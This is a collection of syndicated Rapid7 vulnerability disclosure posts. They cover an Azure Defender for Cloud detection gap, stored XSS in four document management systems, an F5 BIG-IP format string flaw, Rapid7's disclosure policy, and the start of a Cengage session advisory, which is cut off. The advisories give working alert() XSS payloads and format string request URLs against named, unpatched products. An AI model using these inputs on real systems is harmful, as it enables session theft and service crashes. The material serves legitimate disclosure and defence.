Note that more exotic combinations of subnets could be used to achieve the same effect; for example, an administrator could define "0.0.0.0/1" and "128.0.0.1/1" which would have exactly the same effect as one "0.0.0.0/0" source rule. Or, even more cleverly, define a set of subnets that adds up to "almost any," which would be good enough for a thoughtful attacker to ensure continued, un-alerted exposure. However, this kind of configuration is extremely unlikely to be implemented by accident (as described in the first case), and thus, is almost certainly beyond the reasonable scope of the Defender for Cloud use case. After all, Defender for Cloud is designed to catch common misconfigurations, and not necessarily an intentionally confusing configuration.

Remediation

Since Defender for Cloud is a cloud-based solution, users should not have to do anything special to enjoy the benefits of Microsoft’s update. With that said, customers should remember that the update has not resolved the issue when using the IPV6 range ::/0 as a synonym for “any.” As a result, customers should search their Azure environments for any Security Groups configured to allow ingress from a source of “::/0” and seriously consider reconfiguring these rules to be more restrictive. In addition, customers should regularly subject their cloud infrastructure to auditing and penetration tests to verify that their CSPM is actually catching common misconfigurations. We have already validated that this issue does not impact Rapid7’s InsightCloudSec CSPM solution. In addition, Defender for Cloud customers who have previously used the "/0" CIDR notation in their security group rules should review access logs to ensure that malicious actors were not evading the presumed detection capabilities provided by Defender for Cloud.

Disclosure Timeline

January 2023: Issue discovered by Rapid7 cloud security researcher Aaron Sawitsky
Wed, Jan 11, 2023: Initial disclosure to Microsoft
Thu, Jan 12, 2023: Details explained further and validated by the vendor
Mon, Feb 6, 2023: Fix planned by the vendor
Thu, Mar 9, 2023: Fix for "0.0.0.0/0" confirmed by Rapid7
Tue, Mar 14, 2023: This disclosure

Multiple DMS XSS (CVE-2022-47412 through CVE-20222-47419)

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2023/02/07/multiple-dms-xss-cve-2022-47412-through-cve-20222-47419/

Multiple DMS XSS (CVE-2022-47412 through CVE-20222-47419)

Through the course of routine security testing and analysis, Rapid7 has discovered several issues in on-premises installations of open source and freemium Document Management System (DMS) offerings from four vendors. While all of the discovered issues are instances of CWE-79: Improper Neutralization of Input During Web Page Generation, in this disclosure, we have ordered them from most severe to least.

The issues are summarized in the table below.

Vendor Product Version CVE Patched?
ONLYOFFICE Workspace 12.1.0.1760 CVE-2022-47412 Unpatched
OpenKM OpenKM 6.3.12 CVE-2022-47413 Unpatched
OpenKM OpenKM 6.3.12 CVE-2022-47414 Unpatched
LogicalDOC LogicalDOC CE/Enterprise 8.7.3/8.8.2 CVE-2022-47415 Unpatched
LogicalDOC LogicalDOC CE/Enterprise 8.7.3/8.8.2 CVE-2022-47416 Unpatched
LogicalDOC LogicalDOC CE/Enterprise 8.7.3/8.8.2 CVE-2022-47417 Unpatched
LogicalDOC LogicalDOC CE/Enterprise 8.7.3/8.8.2 CVE-2022-47418 Unpatched
Mayan Mayan EDMS 4.3.3 CVE-2022-47419 Unpatched

All of these issues were discovered by Rapid7 researcher Matthew Kienow, and validated by Rapid7’s security sciences team. Unfortunately, none of these vendors were able to respond to Rapid7’s disclosure outreach, despite having coordinated these disclosures with CERT/CC. As such, these issues are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. When we become aware of patches or vendor advisories, we will update this advisory with that information.

CVE-2022-47412: ONLYOFFICE Workspace Search Stored XSS

Given a malicious document provided by an attacker, the ONLYOFFICE Workspace DMS is vulnerable to a stored (persistent, or "Type II") cross-site scripting (XSS) condition.

Product Description

ONLYOFFICE Workspace is an AGPL licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about ONLYOFFICE at the vendor’s website.

This vulnerability was identified in testing against ONLYOFFICE Workspace Version 12.1.0.1760. It is likely the vulnerability exists in previous versions of the software as well as the Enterprise offering. The test instance was installed using the Docker image and the instructions for installing ONLYOFFICE Workspace using the provided script.

CVE-2022-47412 Exploitation

The attack hinges on the ability of the attacker to get a document saved in the DMS for indexing. The details of how this might happen are going to vary significantly between sites, ranging from an email or web-based portal for submitting documents automatically to the target organization, to convincing a human operator to manually save the malicious document on behalf of the attacker, to an insider indexing their own document and waiting for another user to trigger the XSS condition.

Once indexed, the attacker then needs to wait for, or convince, a user to trigger the stored document via the search functionality provided by ONLYOFFICE Workspace. One technique to ensure success would be to create a document with several commonly searched-for terms, which will depend on the target organization’s industry, commonly spoken language, and other factors.

Reproduction of the issue is straightforward:

  1. Upload or create a new document that contains the following two lines of text and tags:
One <img src/onerror=alert('XSS-doc-1')> two
Three <script>alert('XSS-doc-2')</script> four
  1. Select the document and open it with either the edit or preview option. For example, /Products/Files/DocEditor.aspx?fileid=11 is a typical path.
  2. Open the search panel by clicking the magnifying glass icon on the left side of the editor.
  3. Type one of the words on either side of the tag (one, two, three, or four) and it will cause the related XSS to execute in the user’s web browser.

Impact

Once an attacker has provided a malicious document, and a suitable victim has triggered the XSS condition, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie that a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.

A slightly more subtle and extensible attack would be to hook the victim’s browser session and inject the attacker’s own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.

Once enabled, the attacker would have access to the stored documents, which may be critically important to the targeted organization.

Remediation

In the absence of an update from the vendor, users of the affected DMS should take care when importing documents from unknown or untrusted sources. Of course, many modern workflows depend on cataloging inbound documents, so this advice should be backed up with a robust document scanner that automatically searches for common XSS patterns embedded in documents. XSS filter evasion is a constantly evolving field, but a reasonable scanner should be able to at least pick out common XSS patterns.

Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.

Disclosure Timeline

  • October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
  • Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
  • Fri, Dec 2, 2022: Support ticket #37150 suggests emailing [email protected]
  • Mon, Dec 5, 2022: Provided details to the vendor
  • Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-LFBLV)
  • Tue, Feb 7, 2023: Public disclosure

CVE-2022-47413, CVE-2022-47414: OpenKM Document and Application XSS

Two XSS vulnerabilities were discovered in OpenKM, a popular DMS.

Given a malicious document provided by an attacker, the OpenKM DMS is vulnerable to a stored (persistent, or "Type II") XSS condition.

For the second issue, direct access to OpenKM is required in order for the attacker to craft a malicious "note" attached to a stored document.

Product Description

OpenKM is a GPL licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about OpenKM at the vendor’s website.

These vulnerabilities were identified in testing against OpenKM Version 6.3.12 (build: a3587ce). It is likely the vulnerability exists in previous versions of the software. The tested instance was installed using the Docker image and the installation instructions.

CVE-2022-47413 Exploitation

The attack hinges on the ability of the attacker to get a document saved in the DMS for indexing. The details of how this might happen are going to vary significantly between sites, ranging from an email or web-based portal for submitting documents automatically to the target organization, to convincing a human operator to manually save the malicious document on behalf of the attacker, to an insider indexing their own document and waiting for another user to trigger the XSS condition.

Once indexed, the attacker then needs to wait for, or convince, a user to trigger the stored document via either direct navigation to the document, or the search functionality provided by OpenKM. One technique to ensure success would be to create a document with several commonly searched-for terms, which will depend on the target organization’s industry, commonly spoken language, and other factors.

Reproduction of the issue is straightforward:

  1. Create a PDF and a text file that contains the following line of text and tag:
One <img src/onerror=alert('XSS-doc-1')> two
  1. Upload both documents
  2. A user that selects the text document will trigger the XSS to execute in their web browser. This does not require the Preview tab to be selected, and it will trigger when the default tab, Properties, is selected.
  3. The stored XSS in the document will also execute via a search
    a. Click the Search tab and check the “View advanced mode” checkbox
    b. On the Basic tab, change the Context drop-down to “My documents”
    c. In the Content field enter one of the words on either side of the tag (one or two)
    d. Click the Search button.
    e. The XSS will execute in the user’s web browser as long as the document was included in the displayed search results.

CVE-2022-47414 Exploitation

If an attacker has access to the console for OpenKM (and is authenticated), a stored XSS vulnerability is reachable in the document "note" functionality. Reproduction of the issue is below.

  1. Upload or navigate to a document in the system and click to select it.
  2. In the lower panel click the Notes tab and enter a tag such as <img src/onerror=alert('XSS-doc-note')> in the note field.
  3. Click the Add button
  4. A user that selects this document will trigger the XSS to execute in their web browser. This does not require the Notes tab to be selected, and it will trigger when the default tab, Properties, is selected.

Impact

Once a suitable victim has triggered one of the described XSS conditions, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.

A slightly more subtle and extensible attack would be to hook the victim’s browser session and inject the attacker’s own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.

Once enabled, the attacker would then have access to the stored documents, which may be critically important to the targeted organization.

Remediation

For the first issue, in the absence of an update from the vendor, users of the affected DMS should take care when importing documents from unknown or untrusted sources. Of course, many modern workflows depend on cataloging inbound documents, so this advice should be backed up with a robust document scanner that automatically searches for common XSS patterns embedded in documents. XSS filter evasion is a constantly evolving field, but a reasonable scanner should be able to at least pick out common XSS patterns.

For the second issue, in the absence of an update from the vendor, administrators should limit the creation of untrusted users for the affected DMS, since all users have access to the note creation system by default. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the tagging features of the application.

Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.

Disclosure Timeline

  • October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
  • Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
  • Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-PNWWF)
  • Tue, Feb 7, 2023: Public disclosure

CVE-2022-47415 through CVE-2022-47418: LogicalDOC Multiple Stored XSS

Four XSS vulnerabilities were discovered in the LogicalDOC DMS. Successful XSS exploitation was observed in the in-product messaging system, the chat system, stored document file name indexes, and stored document version comments.

Product Description

LogicalDOC Community Edition is an LGPL licensed document management system (DMS), available as an on-prem or cloud-hosted collaboration platform. Read more about LogicalDOC at the vendor’s website.

These vulnerabilities were identified in testing against LogicalDOC Enterprise version 8.8.2 and Community version 8.7.3. It is likely the vulnerability exists in previous versions of the software. The instances tested were installed using the Docker images and the Community installation and Enterprise installation instructions.

Exploitation

The XSS issues identified in LogicalDOC each have their own unique vectors for attacker utility. All require some level of access to the DMS system itself, though "Guest" access is often sufficient to target administrators.

CVE-2022-47415 Exploitation

CVE-2022-47415 is a stored XSS in the in-app messaging system (both subject and bodies of the messages). Reproduction steps are detailed below.

  1. Click messages tab
  2. Click Send message button
  3. Enter one or more Recipients
  4. In the subject field enter a tag such as <img src/onerror=alert('XSS-msg-subject')>
  5. In the message body field enter a tag such as <img src/onerror=alert('XSS-msg-body')>
  6. Click the Send button
  7. If the message recipient is logged into LogicalDOC in the Chrome web browser a pop-up will appear notifying the user of the new message and the XSS will execute in their web browser. If the user was not logged in at the time the message was sent, or they are using the Firefox web browser the XSS will execute in their web browser when they navigate to the messages panel if the XSS was placed in the subject field. If the XSS was placed in the message body it will execute when they select the message.

Note that the "Guest" group is able to send messages to other users by default, including administrators. This would be the likely attack path for an otherwise untrusted, but technically authenticated, user.

CVE-2022-47416 Exploitation

CVE-2022-47416 is a stored XSS in the in-app chat system, and was observed in the Enterprise edition of the DMS. Reproduction steps are detailed below.

  1. Click Dashboard tab
  2. Click Chat tab
  3. In the message input box at the bottom of the bag enter a tag such as <img src/onerror=alert('XSS-chat-msg')>
  4. Click the Post button
  5. The XSS will execute in a user’s web browser if the user is logged into LogicalDoc with the Chat tab selected. If the user was not logged in at the time the message was sent, the XSS will execute in their web browser when they navigate to the Chat tab.

Note that the "Guest" group is able to initiate chats to other users by default, including administrators. This would be the likely attack path for an otherwise untrusted, but technically authenticated, user.

CVE-2022-47417 Exploitation

CVE-2022-47417 is a stored XSS in the document file name, but the filename must be changed in-app (rather than being merely provided by the attacker through some other mechanism). Reproduction steps are detailed below.

  1. Click Documents tab
  2. Click Add documents button
  3. Select a PDF document to upload, check the “Immediate indexing” checkbox, click the Send button and then click the Save button
  4. Select the uploaded document in the upper panel
  5. In the lower panel locate the “File name” field and enter as tag such as <img src/onerror=alert('XSS-filename')>.pdf
  6. Click the Save button
  7. A dialog box will appear asking “The file extension has been changed. Do you want to proceed?”, click the Yes button

Once the file name is changed to include the malicious XSS payload, there are a number of conditions that trigger the XSS.

  1. The XSS will execute in a user’s web browser when they navigate to the Documents tab.
  2. The stored XSS will execute in another user’s web browser, such as the administrator, without them performing any actions as long as that user previously clicked the Documents tab before the adversarial user performed steps 1-7. The user does not need to remain on the Documents tab for the zero-click XSS to execute in their browser.
  3. The stored XSS in the document file name will also execute via a search
    a. Either using the search box in the upper right hand corner or the Search tab, enter a unique term that appears within the previously uploaded document and click the magnifying glass icon (search button).
    b. The XSS will execute in a user’s web browser as long as the document was included in the displayed search results.

CVE-2022-47418 Exploitation

CVE-2022-47418 is an XSS in document version comments. Reproduction steps are detailed below.

  1. Click Documents tab
  2. Click Add documents button
  3. Select a document and click the Send button
  4. In the input box for the “Version comment” at the bottom of the dialog box enter a value such as <img src/onerror=alert('XSS-version-comment')> and click the Save button.
  5. The stored XSS will execute in any user’s web browser if they select the document in the document panel and then click on either the Versions or History tabs.

Impact

Once a suitable victim has triggered one of the described XSS conditions, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.

A slightly more subtle and extensible attack would be to hook the victim’s browser session and inject the attacker’s own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.

Once enabled, the attacker would then have access to the stored documents, which may be critically important to the targeted organization.

Remediation

In the absence of an update from the vendor, administrators should limit the creation of anonymous, untrusted users for the affected DMS, since in many cases, the "Guest" access level is capable of launching these stored XSS attacks against more privileged users. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the messaging, chat, document rename, and document version features of the application.

Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.

Disclosure Timeline

  • October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
  • Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels. Ticket #11105 opened automatically.
  • Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-ZMXZP)
  • Mon, Dec 19, 2022: Details disclosed to OpenKM
  • Tue, Feb 7, 2023: Public disclosure

CVE-2022-47419: Mayan EDMS Tag XSS

An XSS vulnerability was discovered in the Mayan EDMS DMS. Successful XSS exploitation was observed in the in-product tagging system.

Product Description

Mayan EDMS Workspace is an Apache licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about Mayan EDMS at the vendor’s website.

This vulnerability was identified in testing against Mayan EDMS Version 4.3.3 (Build number: v4.3.3_Tue Nov 15 18:12:36 2022 -0500). It is likely the vulnerability exists in previous versions of the software. Installed using the Docker image and the installation instructions.

CVE-2022-47419 Exploitation

CVE-2022-47419 is a stored XSS in the in-product tagging system. Reproduction steps are below.

  1. Click Tags and then the “Create new tag” link in the panel on the left. This will take you to the URL http://hostname/#/tags/tags/create/.
  2. In the Label field enter a tag such as <script>alert('XSS-tag-label')</script>
  3. Click the Save button
  4. Select Documents and then the “All documents” link in the panel on the left.
  5. Click a document to open the document preview
  6. Click the Tags link on the panel to the right.
  7. Click the “Attach tags” button
  8. Click in the Tags drop-down menu and the XSS will execute in the user’s web browser.

Impact

Once a suitable victim has triggered the described XSS condition, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.

A slightly more subtle and extensible attack would be to hook the victim’s browser session and inject the attacker’s own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.

Once enabled, the attacker would then have access to all stored documents, which may be critically important to the targeted organization.

Remediation

In the absence of an update from the vendor, administrators should limit the creation of anonymous, untrusted users for the affected DMS, since all users have access to the tagging system by default. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the tagging features of the application.

Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.

Disclosure Timeline

  • October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
  • Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
  • Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-WMFKG)
  • Tue, Feb 7, 2023: Public disclosure

CVE-2023-22374: F5 BIG-IP Format String Vulnerability

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/02/01/cve-2023-22374-f5-big-ip-format-string-vulnerability/

CVE-2023-22374: F5 BIG-IP Format String Vulnerability

While following up our previous work on F5’s BIG-IP devices, Rapid7 found an additional vulnerability in the appliance-mode REST interface; the vulnerability was assigned CVE-2023-22374. We reported it to F5 on December 6, 2022, and are now disclosing it in accordance with our vulnerability disclosure policy.
The specific issue we discovered is an authenticated format string vulnerability (CWE-134) in the SOAP interface (iControlPortal.cgi), which runs as root and requires an administrative login to access. By inserting format string specifiers (such as %s or %n) into certain GET parameters, an attacker can cause the service to read and write memory addresses that are referenced from the stack. In addition to being an authenticated administrative endpoint, the disclosed memory is written to a log (making it a blind attack). It is difficult to influence the specific addresses read and written, which makes this vulnerability very difficult to exploit (beyond crashing the service) in practice. This has a CVSS score of 7.5 for standard mode deployments and 8.5 in appliance mode.

Products

This issue affects BIG-IP only (not BIG-IQ), and as of writing are not yet patched. The currently supported versions known to be vulnerable are:

  • F5 BIG-IP 17.0.0
  • F5 BIG-IP 16.1.2.2 – 16.1.3
  • F5 BIG-IP 15.1.5.1 – 15.1.8
  • F5 BIG-IP 14.1.4.6 – 14.1.5
  • F5 BIG-IP 13.1.5

Discoverer

This issue was discovered by Ron Bowes of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The issue we are disclosing is a blind format string vulnerability, where an authenticated attacker can insert arbitrary format string characters (such as %d, %x, %s, and %n) into a query parameter, which are passed into the function syslog(), which processes format-string specifiers. This does not require the attacker to actually read the syslog entries—it’s the act of parsing the format string that is problematic. That also means that the attacker can’t read the memory, unless they have an additional way to read the syslog. By using the %s specifier, the service can be trivially crashed with a segmentation fault (because it tries to dereference pointers on the stack as strings). Using %n, arbitrary data can be written to any pointer found on the stack—depending on what’s present on the stack, this may be exploitable for remote code execution.

The issue occurs in WSDL= parameter in the following authenticated administrative URL:

The value of the WSDL= parameter is written to the syslog:

Nov 29 08:32:25 bigip.example.org soap[4335]: query: WSDL=ASM.LoggingProfile

If an attacker adds format-string characters to that argument, they will be processed and values from the stack can be written to the syslog (an attacker wouldn’t be able to see this, so it’s actually a blind format-string vulnerability). For example, this URL:

  • https://bigip.example.com/iControl/iControlPortal.cgi?WSDL=ASM.LoggingProfile:%08x:%08x:%08x:%08x:%08x:%08x:%08x:%08x

Might write the following, after expanding the %08x format specifiers to values from the stack (the colons are just for readability):

Nov 29 08:41:47 bigip.example.org soap[4335]: query: WSDL=ASM.LoggingProfile:0000004c:0000004c:08cb31bc:08cba210:08cc4954:01000000:ffeaa378:f5aa8000

Once again, we should note that an attacker cannot see this log, and therefore cannot use this to disclose memory. We can, however, use a %s format specifier to tell the service to try and render a string from the stack. If the value on the stack is not a valid memory address (such as the first value, which is 0x0000004c), the process will crash with a segmentation fault. We can also use the %n format specifier to write a (mostly) arbitrary value to a memory address found on the stack.

Here is an example of using the %s specifier in a request:

  • https://bigip.example.com/iControl/iControlPortal.cgi?WSDL=ASM.LoggingProfile:%s

If we send that to the server (as an authenticated request), the service will crash. We can attach a debugger to the server process to validate:

[root@bigip:Active:Standalone] config # /tmp/gdb-7.10.1-x64 -q --pid=4335[...](gdb) contContinuing.
Program received signal SIGSEGV, Segmentation fault.0xf55e3085 in vfprintf () from /lib/libc.so.6(gdb) bt#0  0xf55e3085 in vfprintf () from /lib/libc.so.6#1  0xf568f21f in __vsyslog_chk () from /lib/libc.so.6#2  0xf568f317 in syslog () from /lib/libc.so.6#3  0x0810cc1f in PortalDispatch::HandleWSDLRequest(char*) ()#4  0x08109f08 in iControlPortal::run(int) ()#5  0x0810947f in main ()

The actual vulnerable code in PortalDispatch::HandleWSDLRequest in iControlPortal.cgi is (in a disassembler):

.text:0810CBF2 loc_810CBF2:                            ; CODE XREF: PortalDispatch::HandleWSDLRequest(char *)+DD↑j.text:0810CBF2                 pop     ecx.text:0810CBF3                 pop     edi.text:0810CBF4                 push    esi             ; Query string.text:0810CBF5                 push    eax.text:0810CBF6                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*).text:0810CBFB                 pop     eax.text:0810CBFC                 pop     edx.text:0810CBFD                 lea     eax, [ebp+var_8C8].text:0810CC03                 lea     edi, [ebp+format].text:0810CC09                 push    eax.text:0810CC0A                 push    edi.text:0810CC0B                 call    __ZNKSt15basic_stringbufIcSt11char_traitsIcESaIcEE3strEv ; std::basic_stringbuf<char,std::char_traits<char>,std::allocator<char>>::str(void)
.text:0810CC0B ;   } // starts at 810CBE6.text:0810CC10                 pop     eax.text:0810CC11                 push    dword ptr [ebp+format].text:0810CC17                 push    6.text:0810CC19 ;   try {.text:0810CC19                 call    _syslog ; <--- Vulnerable call to syslog().text:0810CC19 ;   } // starts at 810CC19

A String object (that contains query:) has the query string appended to it, then is passed directly into _syslog(), which processes format string characters.

Impact

The most likely impact of a successful attack is to crash the server process. A skilled attacker could potentially develop a remote code execution exploit, which would run code on the F5 BIG-IP device as the root user.

Remediation

There is currently no fix for this issue in released BIG-IP software versions. F5 has indicated that an engineering hotfix will be made available. It should be stressed that this issue is only exploitable as an authenticated user of the vulnerable device. So, end users should restrict access to the management port to only trusted individuals (and the linked KB provides a procedure to bind webd to localhost) which is usually good advice anyway.

Rapid7 customers

An authenticated vulnerability check for CVE-2023-22374 will be available in today’s (Feb 1) content-only release. Because F5’s hotfix policy is that hotfixes come with "no warranty of guarantee of usability," please note that hotfixes are not taken into consideration for vulnerability checks within InsightVM.

Timeline

  • December, 2022 – Discovered the vulnerability
  • Tue, Dec 6, 2022 – Reported to F5 SIRT
  • Wed, Dec 7, 2022 – F5 forwarded to the F5 Product Engineering team for analysis
  • Thu, Dec 22, 2022 – F5 confirmed the issue and has started working on a fix
  • Wed, Jan 4, 2023 – Issue reported to CERT/CC (VRF#23-01-TVJZN)
  • Wed, Jan 18, 2023 – F5 provided a draft security advisory, CVSS scoring, and CVE-2023-22374 reservation
  • Wed, Feb 1, 2023 – This public disclosure and F5’s advisory published

Refreshing Rapid7’s Coordinated Vulnerability Disclosure Policy

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/12/28/refreshing-rapid7s-coordinated-vulnerability-disclosure-policy/

Refreshing Rapid7's Coordinated Vulnerability Disclosure Policy

As 2023 comes hurtling towards us like some kind of maniacal arctic train full of disturbingly realistic AI-generated people, I wanted to take a moment on the blog here to announce that we here at Rapid7, Inc. have refreshed our coordinated vulnerability disclosure (CVD) policy and philosophy. If you just want the precise details, you can head on over to the refreshed CVD page. Otherwise, read on if you want some more explanation of why we’re updating our CVD policy.

A Cohesive Philosophy

Rapid7, as you might expect, is chock full of security researchers—part time, full time, hobbyists, and professionals alike—and so, we frequently come across software vulnerabilities that we’d like to see fixed. These bugs might exist in specialized environments, in the cloud, in the hands of end-users, or in enterprise data centers. The vulnerabilities themselves might be widely exploited in the wild or they might be hard to trigger. Sometimes, the vulnerability itself might be technically a violation of security principles, but the practical effect of its exploitation will be kind of “meh.”

And on and on. It turns out, our old “one size fits all” style of CVD just wasn’t cutting it, as we ran into more and more edge cases when it came to the kinds of vulnerabilities we learn about. Recognizing that, we thought it would be helpful to come up with some broad strokes of what we intend to accomplish and offer up what we expect to do in most cases. From there, we could enumerate all the edge cases we could think of (and have experienced) and document how those cases are different from the usual flow of vulnerability disclosure.

So, far starters, we put together this (fairly pithy) reasoning of why we participate in coordinated vulnerability disclosure in the first place:

  1. We believe in strengthening defense by democratizing access to attacker tooling and knowledge. One of Rapid7’s unique strengths is our deep knowledge of how attackers work. Our vulnerability research and Metasploit teams strive to make attacker capabilities, that would otherwise be used primarily by criminals, accessible to all.  This enables defenders to understand and prioritize critical vulnerabilities, develop detections and mitigations, and test security controls. Releasing public exploit code and novel research is core to our mission to close the security achievement gap.
  2. Public disclosure of vulnerabilities is a critical component of a healthy cybersecurity ecosystem. Rapid7 advocates for, and practices, timely public disclosure of vulnerabilities across both third-party products and our own systems and solutions. This includes vulnerabilities we independently discover in our customers’ tech stacks. Through transparent, open, and timely vulnerability disclosures, Rapid7 is able to assist  the entire internet in protecting and defending those assets and services critical to modern civilization.
  3. Organizations need timely information about risk in order to make educated choices about protecting their networks—especially during active attacks. Our vulnerability disclosure policy includes specific provisions for expediting public disclosure in cases where exploitation has been observed in the wild. Vendors often (understandably) act to protect their own businesses and reputations when there are security issues in their products that introduce risk into their downstream customers’ environments. When we know about exploitation in the wild, or when we believe that threat actors may be covertly weaponizing non-public vulnerabilities, our priority is to alert customers and the community so they may take action to protect their organizations.

The Basic CVD

Building from that, we’ve updated and articulated what is “normal” in vulnerability disclosure, in the form of a five-point guide to what everyone should expect from Rapid7. You can read the exact wording at https://www.rapid7.com/security/disclosure (it may change slightly over time), but to summarize, our basic, standard approach will be to:

  • Keep things confidential at first;
  • Reserve a CVE ID;
  • Tell CERT/CC after 15 days;
  • Publish about it after 60 days; and
  • Encourage the release of a fix

Rapid7 will also:

  • Offer extensions on disclosure timelines (within reason)
  • Publish if the software maintainer publishes, and
  • Not hold things up if there are duplicate reports

That all seems pretty normal in cybersecurity, and reflects industry standards as promulgated by the likes of ISO 29147 and ISO 30111. Internally, we’ve been calling this the “potato case,” since it’s the basis of all sorts of variations and permutations. And, like a potato—which you might dice, slice, pan-fry, bake, mash, pressure cook, season, gravy, butter, and on and on—we can take this base policy and tweak it just a little to get where we need to be for all the edge cases in CVD.

Edge Cases (edginess not guaranteed)

Okay, enough potato talk. Getting hungry.

Vulnerabilities cause unintended conditions and undefined behaviors, and so our CVD should anticipate curve-balls and weird circumstances. We break out six classes of vulnerabilities (and a meta-classification of “more than one”) and slightly alter the standard case per circumstance:

  • Exploited in the Wild: When vulnerabilities are being actively exploited, time is of the essence so that defenders can ramp up and start defending, right now. It would be pretty irresponsible to sit on our hands for 60 days in this case, so expect a bulletin inside a couple of days instead of two months.
  • Patch Bypasses: If a patch doesn’t do the job and a bypass is discovered, we will want to move a little faster, and also, make sure there’s a new CVE ID to describe it. Recycling CVE IDs causes vulnerability management systems all kinds of headaches.
  • Cloud/Hosted Vulnerabilities: The cloud remains special, in that a fix to a SaaS product tends to mean that’s the end of it, and there’s sometimes little value in disclosure after the fact. However, it remains a possibility that there are some cases in which the learnings from a particular cloud vuln are worth talking about and raising awareness of (namely, for IOCs and logging artifacts to check to see if you’ve already been compromised).
  • Kinetic Vulnerabilities: These vulnerabilities are special since they have direct effect on life and limb; think of specialized medtech, vehicle safety systems, and the like. In these cases, we want to allow plenty of time for patches to get out there before we openly discuss all of the technical details.
  • Low-Impact Vulnerabilities: While every bug is sacred and special, some are, well, less special than others. In these cases, we wouldn’t bother with coordinating with CERT/CC (they have plenty of work to do), and we may not even publicly disclose them at all (beyond the private disclosure to the responsible organization).
  • Vulnerabilities with No Responsible Organizations: Sometimes, there are bugs in systems that nobody maintains anymore—abandonware and the like. In these cases, we will move a little faster on disclosure, in coordination with CERT/CC, mainly because we’re not waiting for a fix to be developed.
  • Multi-Faceted Vulnerabilities: If a bug checks more than one of the above boxes, a shorter timeline will apply. So, for example, if there’s some abandoned software that’s also being exploited right now, we’ll publish in just a couple days, rather than a month and a half.

Right now, those are all the cases we can think of, and they hit every vulnerability disclosure I’ve been a part of at Rapid7 over the last decade. Every time we’ve strayed from our (old) policy, it was due to one or more of these conditions. I expect that going forward, the way we approach CVD will be much more predictable and comfortable for everyone involved. Well, except for the criminals and spies that are using these vulns for evil, sorry, not sorry.

Patches Accepted

If you have any thoughts or feedback on this policy, hit us up at [email protected] and we’d be happy to hear it. Or, toot at me and/or Caitlin directly on Mastodon. Do note that we’ll be sticking to the much more precise language on our CVD page, since this blog post is *not* the greatest CVD in the world, it’s just a tribute.

As always, If you have a vulnerability to report on something that Rapid7 is responsible for, check our security.txt for contact details.
Incidentally, do you have a security.txt file? Should you? They’re easy and fun to write and publish—see RFC 9116 for the details there; publishing a note of where to contact you sure makes the job of hearing about vulnerabilities in your products and services a whole lot easier.

Cengage LTI Session Management Leakage

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/12/20/cengage-lti-session-management-leakage/

Cengage LTI Session Management Leakage

Prior to December 10, 2022, Cengage, an education technology provider in use in many higher education environments primarily in the United States, had two issues in the way it handled session management over its Learning Tools Integration (LTI) pipeline.

The first issue involves leaving unexpectedly long-lived sessions and accompanying login links in the end user’s browser history as well as via cached GET requests, which could be used by unauthenticated attackers to impersonate the user. This appears to be an instance of CWE-525, "Use of Web Browser Cache Containing Sensitive Information." This issue is estimated to have a CVSSv3 score of 4.5 (Medium). A fix for this issue is expected in March of 2023.

The second issue involves a failure to check the LTI launch signature from connected applications, which could allow an authenticated attacker to impersonate another user. This appears to be an instance of CWE-347, "Improper Verification of Cryptographic Signature." This issue is estimated to have a CVSSv3 score of 6.5 (Medium). Note, this issue has been fixed by the vendor.

Product Description

Cengage is an education technology provider offering digital products including eTextbooks, homework tools and online learning platforms (such as WebAssign). Cengage’s online learning platforms integrate with Learning Management Systems (LMS). For more information about Cengage’s LMS integrations, please visit the vendor’s website.

Credit

This issue was discovered by Tony Porterfield, Principal Cloud Solutions Architect at Rapid7, while observing a family member use the application as an end-user. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

